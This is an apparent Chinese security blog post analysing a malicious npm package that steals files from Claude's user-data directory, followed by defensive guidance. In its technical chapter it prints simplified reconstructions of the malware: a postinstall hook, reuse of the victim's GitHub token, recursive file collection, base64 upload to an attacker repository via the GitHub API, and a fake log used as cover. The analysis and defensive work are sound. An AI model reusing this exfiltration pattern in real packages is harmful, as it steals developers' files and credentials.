2026-05-28-npm恶意包窃取Claude-AI用户数据-Malware-Slop供应链攻击深度拆解

npm恶意包窃取Claude AI用户数据：Malware-Slop供应链攻击深度拆解

作者：黄蓉 | 点滴安全（dripsafe.cn）日期：2026年5月28日原创文章，转载需授权

开篇：当AI工具成为攻击跳板

AI编程助手正在改变开发者的工作方式。Anthropic的Claude、OpenAI的ChatGPT、GitHub Copilot——这些工具已经成为现代开发者的标配。但你有没有想过，你每天使用的AI工具，可能正被攻击者当作入侵你系统的跳板？

2026年5月27日，OX Security的研究人员披露了一个代号为Malware-Slop的恶意npm包攻击事件。一个名为 mouse5212-super-formatter 的npm包，专门窃取Anthropic Claude AI工具的用户数据目录——/mnt/user-data。

更讽刺的是，这个恶意包的作者在代码中硬编码了自己的GitHub Private Token，安全研究人员直接拿到了攻击者的完整仓库。

今天这篇文章，黄蓉就从技术层面逐行拆解这个攻击链，看看AI时代的供应链攻击到底长什么样。

第一章：攻击链全景——从npm install到数据泄露

1.1 基本事实

属性	详情
恶意包名	`mouse5212-super-formatter`
攻击代号	Malware-Slop
发现者	OX Security (Moshe Siman Tov Bustan, Nir Zadok)
npm下载量	676次（截至披露时）
攻击目标	Anthropic Claude的 `/mnt/user-data` 目录
数据外传通道	GitHub Contents API
攻击者GitHub	`unplowed3584`（已删除）
当前状态	包仍可在npm下载

1.2 攻击链总览

开发者安装npm包
     ↓
postinstall脚本自动执行
     ↓
连接GitHub（使用硬编码Token或环境变量中的Token）
     ↓
检查/创建目标仓库
     ↓
递归遍历 /mnt/user-data 目录
     ↓
Base64编码文件内容
     ↓
通过GitHub Contents API上传到攻击者仓库
     ↓
写入伪造的"网络诊断"日志掩盖行为

这条攻击链设计精巧之处在于：它利用了两个现代开发范式的信任链——npm包管理器的自动化执行和GitHub API的无缝集成。

第二章：技术细节深度拆解

2.1 伪装层：看起来合法的”归档同步工具”

恶意包在代码注释和提交信息中刻意使用平淡、技术性的语言，把自己伪装成一个”archive deployment sync utility”（归档部署同步工具）。

它的自述是这样的：

“这是一个内部归档部署同步工具，用于验证或初始化GitHub仓库，捕获轻量级网络状态快照，然后执行本地工作区文件到远程跟踪树的结构化同步。”

听起来是不是很像一个合理的DevOps工具？这就是社会工程学在代码层面的应用——用专业的术语降低审查者的警惕。

2.2 执行入口：postinstall钩子

恶意代码的执行入口是npm的 postinstall 钩子。当开发者执行 npm install mouse5212-super-formatter 时，npm会自动运行包中定义的 postinstall 脚本：

// package.json 中的恶意钩子
{
  "scripts": {
    "postinstall": "node ./postinstall.js"
  }
}

这个机制是npm生态系统的标准功能，被大量合法包使用（如 esbuild、sharp 等需要在安装时编译原生代码的包）。但正是这种”正常行为”，让恶意脚本的执行几乎不可见。

2.3 认证层：双Token策略

恶意包的认证逻辑非常有趣——它使用了双Token策略：

// 简化的认证逻辑（根据OX Security报告还原）
const TOKEN = process.env.GITHUB_TOKEN || "ghp_xxxxxxxxxxxxxxxx"; // 硬编码的fallback Token

const headers = {
  "Authorization": `token ${TOKEN}`,
  "Accept": "application/vnd.github.v3+json"
};

策略分析：

优先使用环境变量Token：如果受害者的机器上设置了 GITHUB_TOKEN 环境变量（在CI/CD环境中非常常见），恶意包会使用受害者的Token来推送数据。这意味着：
- 数据外传不会消耗攻击者的API配额
- 受害者的Token可能具有更大的权限范围
- 攻击活动看起来像是受害者的正常操作
Fallback到硬编码Token：如果没有环境变量，就使用攻击者自己的GitHub Token。而这个硬编码Token恰好是攻击者的Private Token——这就是为什么安全研究人员能直接访问攻击者的仓库。

2.4 数据采集层：精准定向Claude用户

恶意包的采集目标是 /mnt/user-data 目录。这个目录是Anthropic Claude桌面工具用来处理文件上传和输出数据的专用目录。

// 递归文件发现逻辑（简化还原）
const TARGET_DIR = "/mnt/user-data";

function walkDirectory(dir) {
  const entries = fs.readdirSync(dir, { withFileTypes: true });
  for (const entry of entries) {
    const fullPath = path.join(dir, entry.name);
    if (entry.isDirectory()) {
      walkDirectory(fullPath); // 递归遍历子目录
    } else {
      exfiltrateFile(fullPath); // 上传每个文件
    }
  }
}

为什么选择这个目录？因为Claude的用户数据目录可能包含： – 用户上传给Claude分析的文档（商业机密、源代码、设计文档） – Claude生成的输出文件（报告、代码、分析结果） – 会话历史和上下文数据

这是一个高度定向的攻击目标选择，说明攻击者对Claude工具的文件系统布局有深入了解。

2.5 外传层：GitHub Contents API

数据外传使用了GitHub Contents API，这是一个被广泛使用的合法API：

// 文件上传逻辑（简化还原）
async function exfiltrateFile(filePath) {
  const content = fs.readFileSync(filePath);
  const base64Content = Buffer.from(content).toString('base64');
  
  const randomFolder = crypto.randomBytes(8).toString('hex'); // 随机文件夹名
  
  await githubRequest('PUT', `/repos/${OWNER}/${REPO}/contents/${randomFolder}/${path.basename(filePath)}`, {
    message: `sync: ${path.basename(filePath)}`,
    content: base64Content
  });
}

使用GitHub作为外传通道的巧妙之处： – 流量伪装：GitHub API流量在企业网络中非常常见，不容易被防火墙拦截 – 免费存储：GitHub仓库提供免费的文件存储 – API稳定性：GitHub Contents API稳定且有完善的文档 – 多版本控制：Git的历史记录功能让攻击者可以追踪每次窃取

2.6 掩盖层：伪造诊断日志

最狡猾的部分是恶意包会写入一个伪造的”网络连接”日志文件：

// 伪造诊断日志
function writeFakeLog() {
  const fakeLog = `
Network Diagnostic Report
========================
Timestamp: ${new Date().toISOString()}
Status: Active connections verified
Latency: ${Math.floor(Math.random() * 50 + 10)}ms
Packet Loss: 0.0%
  `;
  fs.writeFileSync('./network-status.log', fakeLog);
}

这个日志文件的目的是让整个执行过程看起来像是一个正常的网络诊断工具，而不是数据窃取操作。如果有人检查了工作目录，看到的只是一个”网络状态报告”。

第三章：攻击者画像——“AI生成的恶意代码”

3.1 OPSEC失误：泄露了自己的Token

这个攻击最戏剧性的一面是：攻击者在代码中硬编码了自己的GitHub Private Token。这意味着：

研究人员可以直接访问攻击者的GitHub账号
查看攻击者的所有仓库和活动
追踪攻击时间线

OX Security观察到攻击者的GitHub账号是在2026年5月26日创建的——仅比第一个恶意版本上传到npm早了几个小时。研究人员发现了约7次活跃的数据外传，但大多数可能是攻击者自己的测试。

3.2 AI生成的痕迹

OX Security的研究人员明确指出，这个恶意包很可能是使用AI工具生成的：

代码结构和注释风格符合AI生成的特征
基本的OPSEC（操作安全）概念缺失——没有哪个有经验的攻击者会硬编码自己的Private Token
代码质量”足够运行”但不够精细

“现在创建恶意代码的门槛已经大幅降低。我们将看到更多威胁行为者加入这个游戏——上传更多粗制滥造的恶意软件，大部分模仿APT组织来分一杯羹。” ——OX Security

3.3 npm生态系统的困境

截至OX Security发布报告时，mouse5212-super-formatter 仍然可以在npm上下载。这暴露了npm生态系统的核心困境：

问题	现状
包审核	npm没有强制的包审核机制
postinstall限制	npm允许包在安装时执行任意代码
下架流程	需要手动报告和审核，耗时较长
名称混淆	攻击者可以使用任何看起来正常的包名

第四章：防御方案——从个人到组织的多层防护

4.1 个人开发者防护

立即行动：

# 检查是否安装了恶意包
npm list mouse5212-super-formatter

# 检查全局安装
npm list -g mouse5212-super-formatter

# 如果已安装，立即卸载
npm uninstall mouse5212-super-formatter

# 轮换GitHub Token
# 前往 https://github.com/settings/tokens 删除并重新生成

# 检查 /mnt/user-data 目录是否被访问
ls -la /mnt/user-data/
stat /mnt/user-data/

长期防护：

# 1. 在项目中启用npm审计
npm audit

# 2. 使用 .npmrc 禁止自动执行脚本
echo "ignore-scripts=true" >> ~/.npmrc
# 注意：这会禁用所有包的postinstall脚本，可能影响部分包的正常功能

# 3. 使用 npm ci 代替 npm install（仅安装lockfile中的版本）
npm ci

# 4. 安装前检查包信息
npm info mouse5212-super-formatter
# 查看：下载量、维护者、创建时间、依赖关系

4.2 CI/CD环境防护

# GitHub Actions 示例：锁定依赖版本 + 安全审计
name: Secure CI
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '22'
      - name: Audit dependencies
        run: npm audit --audit-level=high
      - name: Check for known malicious packages
        run: npx socket-cli scan --severity=high
      - name: Install with locked versions
        run: npm ci --ignore-scripts
      - name: Run postinstall manually if needed
        run: npm rebuild

4.3 组织级防护策略

防御层	措施	工具/方法
包准入	使用私有npm仓库（Artifactory/Nexus）	只允许审核过的包
行为监控	监控npm postinstall脚本的网络外连	Falco/Suricata
文件监控	监控敏感目录的异常访问	inotifywait/Auditd
Token管理	限制CI/CD Token的权限和有效期	GitHub Fine-grained Tokens
AI工具安全	审计AI工具的文件系统访问权限	AppArmor/SELinux

4.4 AI工具使用安全清单

针对Claude等AI工具的数据安全：

# 1. 限制AI工具的数据目录权限
chmod 700 /mnt/user-data/

# 2. 不要将敏感文件直接上传给AI工具
# 使用脱敏/匿名化后的数据代替

# 3. 定期清理AI工具的数据目录
find /mnt/user-data/ -mtime +7 -delete

# 4. 使用容器化方式运行AI工具
# docker run --rm -v /tmp/safe-input:/input claude-tool
# 将宿主机的敏感目录排除在挂载之外

# 5. 使用AppArmor/SELinux限制AI工具的文件系统访问

第五章：AI时代的供应链安全新范式

5.1 AI降低了攻击门槛

Malware-Slop事件标志着一个新的趋势：AI正在降低恶意代码的创作门槛。

过去，写一个有效的恶意包需要： – 理解npm包的打包和分发机制 – 掌握数据外传的加密和混淆技术 – 了解基本的OPSEC（不泄露自己的Token）

现在，AI可以帮你生成大部分代码，即使你不懂编程。但正如这个案例所示，AI生成的恶意代码往往存在低级失误——这就是为什么OX Security将其命名为”Malware-Slop”（Slop意为”粗制滥造的东西”）。

5.2 AI工具本身成为攻击目标

攻击者选择Claude的 /mnt/user-data 目录作为目标，说明他们已经意识到：

AI工具的用户通常是技术决策者或开发者，其数据价值高
AI工具处理的数据往往是用户认为”需要AI分析”的重要数据
AI工具的数据目录通常缺乏严格的安全控制

这个趋势会随着AI工具的普及而加剧。未来，我们可能会看到： – 针对ChatGPT的浏览器扩展窃取对话历史 – 针对GitHub Copilot的VS Code扩展窃取代码上下文 – 针对Cursor的恶意插件窃取项目文件

5.3 开发者 workstation 安全的重新定义

THN本周另一篇文章的标题说得好：“Developer Workstations Are Now Part of the Software Supply Chain”（开发者工作站现在是软件供应链的一部分）。

传统的供应链安全关注的是：代码仓库 → CI/CD → 生产环境。

但现在，攻击链已经延伸到开发者的个人工作站：

开发者安装恶意npm包 → 个人工作站被植入后门 → 
窃取GitHub Token → 推送恶意代码到仓库 → 
CI/CD执行恶意代码 → 影响下游所有用户

开发者工作站的安全，不再只是个人问题，而是整个供应链安全的关键一环。

结语：AI安全，从我们每个人做起

Malware-Slop这个名字虽然带有嘲讽意味——“粗制滥造的恶意软件”——但它代表的趋势不容忽视。当AI让每个人都能编写恶意代码时，防护的重点不再是”能不能写出恶意代码”，而是”如何检测和阻断恶意代码的执行”。

对于我们每一个开发者：

不要盲目信任npm包——安装前检查下载量、维护者、创建时间
禁用不必要的postinstall脚本——用 --ignore-scripts 加上手动 npm rebuild
保护你的AI工具数据——不要把敏感文件直接扔给AI
轮换你的Token——定期更换，使用最小权限原则
关注供应链安全——从开发者工作站到生产环境，全链路防护

代码的世界没有银弹，但多一层防御，就少一分风险。

黄蓉 | 丐帮总舵技术开发掌门 点滴安全 dripsafe.cn — 你的技术安全实战伙伴

参考来源： – OX Security: Malware-Slop: Malicious npm Package Leaks its own GitHub Private Token (2026-05-27) – The Hacker News: Malicious npm Package Stole Files From Claude AI User Directory via GitHub (2026-05-27) – The Hacker News: Developer Workstations Are Now Part of the Software Supply Chain (2026-05)